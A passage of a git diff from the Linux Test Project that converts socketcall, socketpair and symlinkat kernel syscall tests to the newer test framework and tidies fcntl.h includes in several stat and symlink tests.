-			}
-			fl = fcntl(fd, F_GETFL);
-			if (fl == -1) {
-				tst_brkm(TBROK, cleanup, "fcntl failed");
-			}
-			if ((fl & O_NONBLOCK) == 0) {
-				tst_brkm(TFAIL,
-					 cleanup,
-					 "socket(SOCK_NONBLOCK) does not set non-blocking mode");
-			}
-			close(fd);
-			tst_resm(TPASS, "socket(SOCK_NONBLOCK) PASSED");
-			cleanup();
-		}
-	}
-	tst_exit();
-}
diff --git a/testcases/kernel/syscalls/socketcall/socketcall01.c b/testcases/kernel/syscalls/socketcall/socketcall01.c
index d439729..9401964 100644
--- a/testcases/kernel/syscalls/socketcall/socketcall01.c
+++ b/testcases/kernel/syscalls/socketcall/socketcall01.c
@@ -1,5 +1,7 @@
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ *    AUTHOR : sowmya adiga<sowmya.adiga@wipro.com>
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  *
  * This program is free software; you can redistribute it and/or modify it
  * under the terms of version 2 of the GNU General Public License as
@@ -14,156 +16,59 @@
  * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  *
  */
-/**************************************************************************
- *
- *    TEST IDENTIFIER	: socketcall01
- *
- *    EXECUTED BY	: All user
- *
- *    TEST TITLE	: Basic test for socketcall(2) for socket(2)
- *
- *    TEST CASE TOTAL	: 4
- *
- *    AUTHOR		: sowmya adiga<sowmya.adiga@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This is a phase I test for the socketcall(2) system call.
- *	It is intended to provide a limited exposure of the system call.
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *	  Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  socketcall01 [-c n] [-e] [-i n] [-I x] [-p x] [-t]
- *		where,		-c n : Run n copies concurrently
- *				-e   : Turn on errno logging.
- *				-h   : Show this help screen
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				 t   : Turn on syscall timing.
- *
- * RESTRICTIONS
- * None
- *****************************************************************************/
-#include <stdio.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <sys/syscall.h>
+/*
+ * This is a basic test for the socketcall(2) system call.
+ */
 #include <unistd.h>
+#include <errno.h>
 #include <sys/types.h>
 #include <sys/socket.h>
+#include <sys/syscall.h>
 #include <linux/net.h>
 #include <sys/un.h>
 #include <netinet/in.h>
 
-#include "test.h"
-
-char *TCID = "socketcall01";
+#include "tst_test.h"
 
 #ifdef __NR_socketcall
 
 #define socketcall(call, args) syscall(__NR_socketcall, call, args)
 
-void setup();
-void cleanup();
-
 struct test_case_t {
 	int call;
 	unsigned long args[3];
 	char *desc;
 } TC[] = {
-	{
-		SYS_SOCKET, {
-	PF_INET, SOCK_STREAM, 0}, "TCP stream"}, {
-		SYS_SOCKET, {
-	PF_UNIX, SOCK_DGRAM, 0}, "unix domain dgram"}, {
-		SYS_SOCKET, {
-	AF_INET, SOCK_RAW, 6}, "Raw socket"}, {
-		SYS_SOCKET, {
-	PF_INET, SOCK_DGRAM, 17}, "UDP dgram"}
+	{SYS_SOCKET, {PF_INET, SOCK_STREAM, 0}, "TCP stream"},
+	{SYS_SOCKET, {PF_UNIX, SOCK_DGRAM, 0}, "unix domain dgram"},
+	{SYS_SOCKET, {AF_INET, SOCK_RAW, 6}, "Raw socket"},
+	{SYS_SOCKET, {PF_INET, SOCK_DGRAM, 17}, "UDP dgram"}
 };
 
-int TST_TOTAL = sizeof(TC) / sizeof(TC[0]);
-
-int main(int ac, char **av)
+void verify_socketcall(unsigned int i)
 {
-	int lc;
-	int i;			/* s is socket descriptor */
+	TEST(socketcall(TC[i].call, TC[i].args));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/* check looping state */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(socketcall(TC[i].call, TC[i].args));
-
-			/* check return code */
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL | TTERRNO,
-					 "socketcall() Failed with"
-					 " return=%ld", TEST_RETURN);
-			} else {
-				tst_resm(TPASS, "socketcall() passed for"
-					 " :%s with return=%ld ",
-					 TC[i].desc, TEST_RETURN);
-				close(TEST_RETURN);
-			}
-		}
+	if (TEST_RETURN < 0) {
+		tst_res(TFAIL | TTERRNO, "socketcall() for %s failed with %li",
+			TC[i].desc, TEST_RETURN);
+		return;
 	}
 
-	/* cleanup and exit */
-	cleanup();
+	tst_res(TPASS, "socketcall() for %s", TC[i].desc);
 
-	tst_exit();
+	SAFE_CLOSE(TEST_RETURN);
 }
 
-/* setup() - performs all ONE TIME setup for this test. */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.tid = "socketcall01",
+	.test = verify_socketcall,
+	.tcnt = ARRAY_SIZE(TC),
+	.needs_root = 1,
+};
 
 #else
 
-int TST_TOTAL = 0;
-
-int main(void)
-{
-	tst_resm(TPASS, "socket call test on this architecture disabled.");
-	tst_exit();
-}
+TST_TEST_TCONF("The socketcall() syscall is not supported");
 
 #endif
diff --git a/testcases/kernel/syscalls/socketpair/socketpair01.c b/testcases/kernel/syscalls/socketpair/socketpair01.c
index 3a045b7..f7833a4 100644
--- a/testcases/kernel/syscalls/socketpair/socketpair01.c
+++ b/testcases/kernel/syscalls/socketpair/socketpair01.c
@@ -1,144 +1,109 @@
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
+* Copyright (c) International Business Machines  Corp., 2001
+*
+* This program is free software;  you can redistribute it and/or modify
+* it under the terms of the GNU General Public License as published by
+* the Free Software Foundation; either version 2 of the License, or
+* (at your option) any later version.
+*
+* This program is distributed in the hope that it will be useful,
+* but WITHOUT ANY WARRANTY;  without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+* the GNU General Public License for more details.
+*
+* You should have received a copy of the GNU General Public License
+* along with this program.
+*/
 
 /*
- * Test Name: socketpair01
- *
- * Test Description:
- *  Verify that socketpair() returns the proper errno for various failure cases
- *
- * Usage:  <for command-line>
- *  socketpair01 [-c n] [-e] [-i n] [-I x] [-p x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions:
- *  None.
- *
- */
+* Test Name: socketpair01
+*
+* Test Description:
+* Verify that socketpair() returns the proper errno for various failure cases
+*/
 
 #include <stdio.h>
 #include <unistd.h>
 #include <errno.h>
-
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/un.h>
-
 #include <netinet/in.h>
+#include "tst_test.h"
 
-#include "test.h"
+static int fds[2];
 
-char *TCID = "socketpair01";
-int testno;
-
-int sv[2];
-
-void setup(void), cleanup(void);
-
-struct test_case_t {		/* test case structure */
-	int domain;		/* PF_INET, PF_UNIX, ... */
-	int type;		/* SOCK_STREAM, SOCK_DGRAM ... */
-	int proto;		/* protocol number (usually 0 = default) */
-	int *sv;		/* socket descriptor vector */
-	int retval;		/* syscall return value */
-	int experrno;		/* expected errno */
+struct test_case_t {
+	int domain;
+	int type;
+	int proto;
+	int *sv;
+	int retval;
+	int experrno;
 	char *desc;
 } tdat[] = {
-	{
-	0, SOCK_STREAM, 0, sv, -1, EAFNOSUPPORT, "invalid domain"}, {
-	PF_INET, 75, 0, sv, -1, EINVAL, "invalid type"}, {
-	PF_UNIX, SOCK_DGRAM, 0, sv, 0, 0, "UNIX domain dgram"}, {
-	PF_INET, SOCK_RAW, 0, sv, -1, ESOCKTNOSUPPORT,
-		    "raw open as non-root"},
+	{0, SOCK_STREAM, 0, fds, -1, EAFNOSUPPORT, "invalid domain"},
+	{PF_INET, 75, 0, fds, -1, EINVAL, "invalid type"},
+	{PF_UNIX, SOCK_DGRAM, 0, fds, 0, 0, "UNIX domain dgram"},
+	{PF_INET, SOCK_RAW, 0, fds, -1, EPROTONOSUPPORT, "raw open as non-root"},
 #ifndef UCLINUX
-	    /* Skip since uClinux does not implement memory protection */
-	{
-	PF_UNIX, SOCK_STREAM, 0, 0, -1, EFAULT, "bad aligned pointer"}, {
-	PF_UNIX, SOCK_STREAM, 0, (int *)7, -1, EFAULT,
-		    "bad unaligned pointer"},
+	{PF_UNIX, SOCK_STREAM, 0, 0, -1, EFAULT, "bad aligned pointer"},
+	{PF_UNIX, SOCK_STREAM, 0, (int *)7, -1, EFAULT, "bad unaligned pointer"},
 #endif
-	{
-	PF_INET, SOCK_DGRAM, 17, sv, -1, EOPNOTSUPP, "UDP socket"}, {
-	PF_INET, SOCK_DGRAM, 6, sv, -1, ESOCKTNOSUPPORT, "TCP dgram"}, {
-	PF_INET, SOCK_STREAM, 6, sv, -1, EOPNOTSUPP, "TCP socket"}, {
-PF_INET, SOCK_STREAM, 1, sv, -1, ESOCKTNOSUPPORT, "ICMP stream"},};
+	{PF_INET, SOCK_DGRAM, 17, fds, -1, EOPNOTSUPP, "UDP socket"},
+	{PF_INET, SOCK_DGRAM, 6, fds, -1, EPROTONOSUPPORT, "TCP dgram"},
+	{PF_INET, SOCK_STREAM, 6, fds, -1, EOPNOTSUPP, "TCP socket"},
+	{PF_INET, SOCK_STREAM, 1, fds, -1, EPROTONOSUPPORT, "ICMP stream"}
+};
 
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-int main(int argc, char *argv[])
+static void verify_socketpair(unsigned int n)
 {
-	int lc;
-	int s;
+	struct test_case_t *tc = &tdat[n];
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	TEST(socketpair(tc->domain, tc->type, tc->proto, tc->sv));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			TEST((s = socketpair(tdat[testno].domain,
-					     tdat[testno].type,
-					     tdat[testno].proto,
-					     tdat[testno].sv)));
-			if (TEST_RETURN >= 0) {
-				TEST_RETURN = 0;	/* > 0 equivalent */
-			} else {
-			}
-			if (TEST_RETURN != tdat[testno].retval ||
-			    (TEST_RETURN &&
-			     (TEST_ERRNO != tdat[testno].experrno
-			      && TEST_ERRNO != EPROTONOSUPPORT))) {
-				tst_resm(TFAIL,
-					 "%s ; returned"
-					 " %d (expected %d), errno %d (expected"
-					 " %d)", tdat[testno].desc, s,
-					 tdat[testno].retval, TEST_ERRNO,
-					 tdat[testno].experrno);
-			} else {
-				tst_resm(TPASS, "%s successful",
-					 tdat[testno].desc);
-			}
-			(void)close(s);
-		}
+	if (TEST_RETURN == 0) {
+		SAFE_CLOSE(fds[0]);
+		SAFE_CLOSE(fds[1]);
 	}
 
-	cleanup();
+	if (TEST_RETURN != tc->retval) {
+		tst_res(TFAIL, "%s returned %ld (expected %d)",
+		        tc->desc, TEST_RETURN, tc->retval);
+		return;
+	}
 
-	tst_exit();
+	if (TEST_ERRNO != tc->experrno) {
+		tst_res(TFAIL | TTERRNO, "expected %s(%d)",
+		        tst_strerrno(tc->experrno), tc->experrno);
+		return;
+	}
+
+	tst_res(TPASS, "%s successful", tc->desc);
 }
 
-void setup(void)
+/*
+ * See:
+ * commit 86c8f9d158f68538a971a47206a46a22c7479bac
+ * ...
+ * [IPV4] Fix EPROTONOSUPPORT error in inet_create
+ */
+static void setup(void)
 {
+	unsigned int i;
 
-	TEST_PAUSE;
+	if (tst_kvercmp(2, 6, 16) >= 0)
+		return;
+
+	for (i = 0; i < ARRAY_SIZE(tdat); i++) {
+		if (tdat[i].experrno == EPROTONOSUPPORT)
+				tdat[i].experrno = ESOCKTNOSUPPORT;
+	}
 }
 
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.tid = "socketpair01",
+	.tcnt = ARRAY_SIZE(tdat),
+	.setup = setup,
+	.test = verify_socketpair
+};
diff --git a/testcases/kernel/syscalls/socketpair/socketpair02.c b/testcases/kernel/syscalls/socketpair/socketpair02.c
index f1ff463..6507e31 100644
--- a/testcases/kernel/syscalls/socketpair/socketpair02.c
+++ b/testcases/kernel/syscalls/socketpair/socketpair02.c
@@ -1,50 +1,30 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) Ulrich Drepper <drepper@redhat.com>                          */
-/* Copyright (c) International Business Machines  Corp., 2009                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* File:        socketpair02.c                                                */
-/*                                                                            */
-/* Description: This Program tests the new system call introduced in 2.6.27.  */
-/*              Ulrich´s comment as in:                                       */
-/* http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=77d2720059618b9b6e827a8b73831eb6c6fad63c */
-/*                                                                            */
-/* Usage:  <for command-line>                                                 */
-/* socketpair02 [-c n] [-e][-i n] [-I x] [-p x] [-t]                          */
-/*      where,  -c n : Run n copies concurrently.                             */
-/*              -e   : Turn on errno logging.                                 */
-/*              -i n : Execute test n times.                                  */
-/*              -I x : Execute test for x seconds.                            */
-/*              -P x : Pause for x seconds between iterations.                */
-/*              -t   : Turn on syscall timing.                                */
-/*                                                                            */
-/* Total Tests: 1                                                             */
-/*                                                                            */
-/* Test Name:   socketpair02                                                  */
-/*                                                                            */
-/* Author:      Ulrich Drepper <drepper@redhat.com>                           */
-/*                                                                            */
-/* History:     Created - Jan 13 2009 - Ulrich Drepper <drepper@redhat.com>   */
-/*              Ported to LTP                                                 */
-/*                      - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
-/******************************************************************************/
+/*
+* Copyright (c) Ulrich Drepper <drepper@redhat.com>
+* Copyright (c) International Business Machines  Corp., 2009
+*
+* This program is free software;  you can redistribute it and/or modify
+* it under the terms of the GNU General Public License as published by
+* the Free Software Foundation; either version 2 of the License, or
+* (at your option) any later version.
+*
+* This program is distributed in the hope that it will be useful,
+* but WITHOUT ANY WARRANTY;  without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+* the GNU General Public License for more details.
+*
+* You should have received a copy of the GNU General Public License
+* along with this program.
+*/
+
+/*
+* Test Name:	socketpair02
+*
+* Description:
+* This Program tests the new flag SOCK_CLOEXEC and SOCK_NONBLOCK introduced
+* in socketpair() in kernel 2.6.27.
+*/
+
+#include <errno.h>
 #include <fcntl.h>
 #include <pthread.h>
 #include <stdio.h>
@@ -52,108 +32,69 @@
 #include <netinet/in.h>
 #include <sys/socket.h>
 #include <sys/syscall.h>
+#include "lapi/fcntl.h"
+#include "tst_test.h"
 
-#include "test.h"
+static int fds[2];
 
-#ifndef SOCK_NONBLOCK
-#define SOCK_NONBLOCK O_NONBLOCK
-#endif
+static struct tcase {
+	int type;
+	int flag;
+	int fl_flag;
+	char *des;
+} tcases[] = {
+	{SOCK_STREAM, 0, F_GETFD, "no close-on-exec"},
+	{SOCK_STREAM | SOCK_CLOEXEC, FD_CLOEXEC, F_GETFD, "close-on-exec"},
+	{SOCK_STREAM, 0, F_GETFL, "no non-blocking"},
+	{SOCK_STREAM | SOCK_NONBLOCK, O_NONBLOCK, F_GETFL, "non-blocking"}
+};
 
-int TST_TOTAL = 2;
-char *TCID = "socketpair02";
-
-/* Extern Global Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    cleanup                                                       */
-/*                                                                            */
-/* Description: Performs all one time clean up for this test on successful    */
-/*              completion,  premature exit or  failure. Closes all temporary */
-/*              files, removes all temporary directories exits the test with  */
-/*              appropriate return code by calling tst_exit() function.       */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*              On success - Exits calling tst_exit(). With '0' return code.  */
-/*                                                                            */
-/******************************************************************************/
-void cleanup(void)
+static void verify_socketpair(unsigned int n)
 {
+	int res, i;
+	struct tcase *tc = &tcases[n];
 
-	tst_rmdir();
+	TEST(socketpair(PF_UNIX, tc->type, 0, fds));
+
+	if (TEST_RETURN == -1)
+		tst_brk(TFAIL | TTERRNO, "socketpair() failed");
+
+	for (i = 0; i < 2; i++) {
+		res = SAFE_FCNTL(fds[i], tc->fl_flag);
+
+		if (tc->flag != 0 && (res & tc->flag) == 0) {
+			tst_res(TFAIL, "socketpair() failed to set %s flag for fds[%d]",
+				tc->des, i);
+			goto ret;
+		}
+
+		if (tc->flag == 0 && (res & tc->flag) != 0) {
+			tst_res(TFAIL, "socketpair() failed to set %s flag for fds[%d]",
+				tc->des, i);
+			goto ret;
+		}
+	}
+
+	tst_res(TPASS, "socketpair() passed to set %s flag", tc->des);
+
+ret:
+	SAFE_CLOSE(fds[0]);
+	SAFE_CLOSE(fds[1]);
 }
 
-/* Local  Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    setup                                                         */
-/*                                                                            */
-/* Description: Performs all one time setup for this test. This function is   */
-/*              typically used to capture signals, create temporary dirs      */
-/*              and temporary files that may be used in the course of this    */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits by calling cleanup().                      */
-/*              On success - returns 0.                                       */
-/*                                                                            */
-/******************************************************************************/
-void setup(void)
+static void cleanup(void)
 {
-	/* Capture signals if any */
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
+	if (fds[0] > 0)
+		SAFE_CLOSE(fds[0]);
+
+	if (fds[1] > 0)
+		SAFE_CLOSE(fds[1]);
 }
 
-int main(int argc, char *argv[])
-{
-	int fds[2], fl, i;
-
-	if ((tst_kvercmp(2, 6, 27)) < 0) {
-		tst_brkm(TCONF, NULL,
-			 "This test can only run on kernels that are 2.6.27 and higher");
-	}
-	setup();
-
-	if (socketpair(PF_UNIX, SOCK_STREAM, 0, fds) == -1) {
-		tst_brkm(TFAIL, cleanup, "socketpair(0) failed");
-	}
-	for (i = 0; i < ARRAY_SIZE(fds); i++) {
-		fl = fcntl(fds[i], F_GETFL);
-		if (fl == -1) {
-			tst_brkm(TBROK, cleanup, "fcntl failed");
-		}
-		if (fl & O_NONBLOCK) {
-			tst_brkm(TFAIL, cleanup,
-				 "socketpair(0) set non-blocking mode for fds[%d]",
-				 i);
-		}
-		close(fds[i]);
-	}
-
-	if (socketpair(PF_UNIX, SOCK_STREAM | SOCK_NONBLOCK, 0, fds) == -1) {
-		tst_brkm(TFAIL, cleanup, "socketpair(SOCK_NONBLOCK) failed");
-	}
-	for (i = 0; i < ARRAY_SIZE(fds); i++) {
-		fl = fcntl(fds[i], F_GETFL);
-		if (fl == -1) {
-			tst_brkm(TBROK, cleanup, "fcntl failed");
-		}
-		if ((fl & O_NONBLOCK) == 0) {
-			tst_brkm(TFAIL, cleanup,
-				 "socketpair(SOCK_NONBLOCK) didn't set non-blocking "
-				 "mode for fds[%d]", i);
-		}
-		close(fds[i]);
-	}
-	tst_resm(TPASS, "socketpair(SOCK_NONBLOCK) PASSED");
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.tid = "socketpair02",
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_socketpair,
+	.min_kver = "2.6.27",
+	.cleanup = cleanup
+};
diff --git a/testcases/kernel/syscalls/stat/stat01.c b/testcases/kernel/syscalls/stat/stat01.c
index 3fc0a21..ee71c56 100644
--- a/testcases/kernel/syscalls/stat/stat01.c
+++ b/testcases/kernel/syscalls/stat/stat01.c
@@ -22,7 +22,7 @@
  */
 #include <stdio.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/stat/stat02.c b/testcases/kernel/syscalls/stat/stat02.c
index 4ee6912..1b7d60f 100644
--- a/testcases/kernel/syscalls/stat/stat02.c
+++ b/testcases/kernel/syscalls/stat/stat02.c
@@ -69,7 +69,7 @@
  */
 #include <stdio.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/stat/stat05.c b/testcases/kernel/syscalls/stat/stat05.c
index b692988..300649a 100644
--- a/testcases/kernel/syscalls/stat/stat05.c
+++ b/testcases/kernel/syscalls/stat/stat05.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/stat/stat06.c b/testcases/kernel/syscalls/stat/stat06.c
index c6f11a3..c5eb1da 100644
--- a/testcases/kernel/syscalls/stat/stat06.c
+++ b/testcases/kernel/syscalls/stat/stat06.c
@@ -112,7 +112,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <sys/mman.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/statfs/statfs01.c b/testcases/kernel/syscalls/statfs/statfs01.c
index 12ddb9c..c3678d5 100644
--- a/testcases/kernel/syscalls/statfs/statfs01.c
+++ b/testcases/kernel/syscalls/statfs/statfs01.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/statfs.h>
 #include <errno.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/string/string01.c b/testcases/kernel/syscalls/string/string01.c
index 9dcf3ec..0ae09a4 100644
--- a/testcases/kernel/syscalls/string/string01.c
+++ b/testcases/kernel/syscalls/string/string01.c
@@ -39,7 +39,6 @@
 #include <sys/types.h>
 #include <string.h>
 
-/*****	LTP Port	*****/
 #include <errno.h>
 #include <stdlib.h>
 #include "test.h"
@@ -72,9 +71,6 @@
 char dst1[LONGSTR + 1];
 char dst2[LONGSTR + 1];
 
-/*
- *	Data structures for testing.
- */
 
 /*	Strlen	(strlen( s ) == e_res)		*/
 struct t_strlen {
@@ -236,7 +232,6 @@
 	NULL, NULL, 0, NULL, 0}
 };
 
-/*****	LTP Port	*****/
 void setup();
 int blenter();
 int blexit();
@@ -266,15 +261,13 @@
 	tst_exit();
 }
 
-/*****	**	**	*****/
-
-/*--------------------------------------------------------------*/
-
 int main(int argc, char *argv[])
 {
 	register int n, i;
 	char *s, *pr;
 
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	/*
 	 * Init longstr
 	 */
diff --git a/testcases/kernel/syscalls/symlink/symlink02.c b/testcases/kernel/syscalls/symlink/symlink02.c
index 45aaef3..fdf8e60 100644
--- a/testcases/kernel/syscalls/symlink/symlink02.c
+++ b/testcases/kernel/syscalls/symlink/symlink02.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/symlink/symlink03.c b/testcases/kernel/syscalls/symlink/symlink03.c
index 6056653..5fa985d 100644
--- a/testcases/kernel/syscalls/symlink/symlink03.c
+++ b/testcases/kernel/syscalls/symlink/symlink03.c
@@ -78,7 +78,7 @@
 
 #include <stdio.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/mman.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/symlink/symlink04.c b/testcases/kernel/syscalls/symlink/symlink04.c
index 8c978d8..ef28400 100644
--- a/testcases/kernel/syscalls/symlink/symlink04.c
+++ b/testcases/kernel/syscalls/symlink/symlink04.c
@@ -70,7 +70,7 @@
 
 #include <stdio.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/symlink/symlink05.c b/testcases/kernel/syscalls/symlink/symlink05.c
index 3986f42..89f8c88 100644
--- a/testcases/kernel/syscalls/symlink/symlink05.c
+++ b/testcases/kernel/syscalls/symlink/symlink05.c
@@ -70,7 +70,7 @@
 
 #include <stdio.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/symlinkat/symlinkat01.c b/testcases/kernel/syscalls/symlinkat/symlinkat01.c
index 5c238d8..14b781e 100644
--- a/testcases/kernel/syscalls/symlinkat/symlinkat01.c
+++ b/testcases/kernel/syscalls/symlinkat/symlinkat01.c
@@ -37,13 +37,12 @@
 #include <sys/stat.h>
 #include <sys/time.h>
 #include <fcntl.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
 #include "test.h"
-#include "rmobj.h"
+#include "safe_macros.h"
 #include "linux_syscall_numbers.h"
 
 #define MYRETCODE -999
@@ -124,13 +123,6 @@
 char *TCID = "symlinkat01";
 int TST_TOTAL = sizeof(test_desc) / sizeof(*test_desc);
 
-#define SUCCEED_OR_DIE(syscall, message, ...)														\
-	(errno = 0,																														\
-		({int ret=syscall(__VA_ARGS__);																			\
-			if (ret==-1)																												\
-				tst_brkm(TBROK, cleanup, message, __VA_ARGS__, strerror(errno)); \
-			ret;}))
-
 static int mysymlinkat(const char *oldfilename,
 		       int newdirfd, const char *newfilename)
 {
@@ -172,12 +164,11 @@
 static void setup_every_copy(void)
 {
 	close(newdirfd);
-	rmobj(TEST_DIR2, NULL);
+	unlink(dpathname);
+	rmdir(TEST_DIR2);
 
-	SUCCEED_OR_DIE(mkdir, "mkdir(%s, %o) failed: %s", TEST_DIR2, 0700);
-	newdirfd =
-	    SUCCEED_OR_DIE(open, "open(%s, 0x%x) failed: %s", TEST_DIR2,
-			   O_DIRECTORY);
+	SAFE_MKDIR(cleanup, TEST_DIR2, 0700);
+	newdirfd = SAFE_OPEN(cleanup, TEST_DIR2, O_DIRECTORY);
 }
 
 static void mysymlinkat_test(struct test_struct *desc)
@@ -190,33 +181,14 @@
 	if (TEST_ERRNO == desc->expected_errno) {
 		if (TEST_RETURN == 0 && desc->referencefn1 != NULL) {
 			int tnum = rand(), vnum = ~tnum;
-			int len;
-			fd = SUCCEED_OR_DIE(open,
-					    "open(%s, 0x%x) failed: %s",
-					    desc->referencefn1, O_RDWR);
-			if ((len =
-			     write(fd, &tnum,
-				   sizeof(tnum))) != sizeof(tnum))
-				tst_brkm(TBROK, cleanup,
-					 "write() failed: expected %zu, returned %d; error: %s",
-					 sizeof(tnum), len,
-					 strerror(errno));
-			SUCCEED_OR_DIE(close, "close(%d) failed: %s",
-				       fd);
 
-			fd = SUCCEED_OR_DIE(open,
-					    "open(%s, 0x%x) failed: %s",
-					    desc->referencefn2,
-					    O_RDONLY);
-			if ((len =
-			     read(fd, &vnum,
-				  sizeof(vnum))) != sizeof(tnum))
-				tst_brkm(TBROK, cleanup,
-					 "read() failed: expected %zu, returned %d; error: %s",
-					 sizeof(vnum), len,
-					 strerror(errno));
-			SUCCEED_OR_DIE(close, "close(%d) failed: %s",
-				       fd);
+			fd = SAFE_OPEN(cleanup, desc->referencefn1, O_RDWR);
+			SAFE_WRITE(cleanup, 1, fd, &tnum, sizeof(tnum));
+			SAFE_CLOSE(cleanup, fd);
+
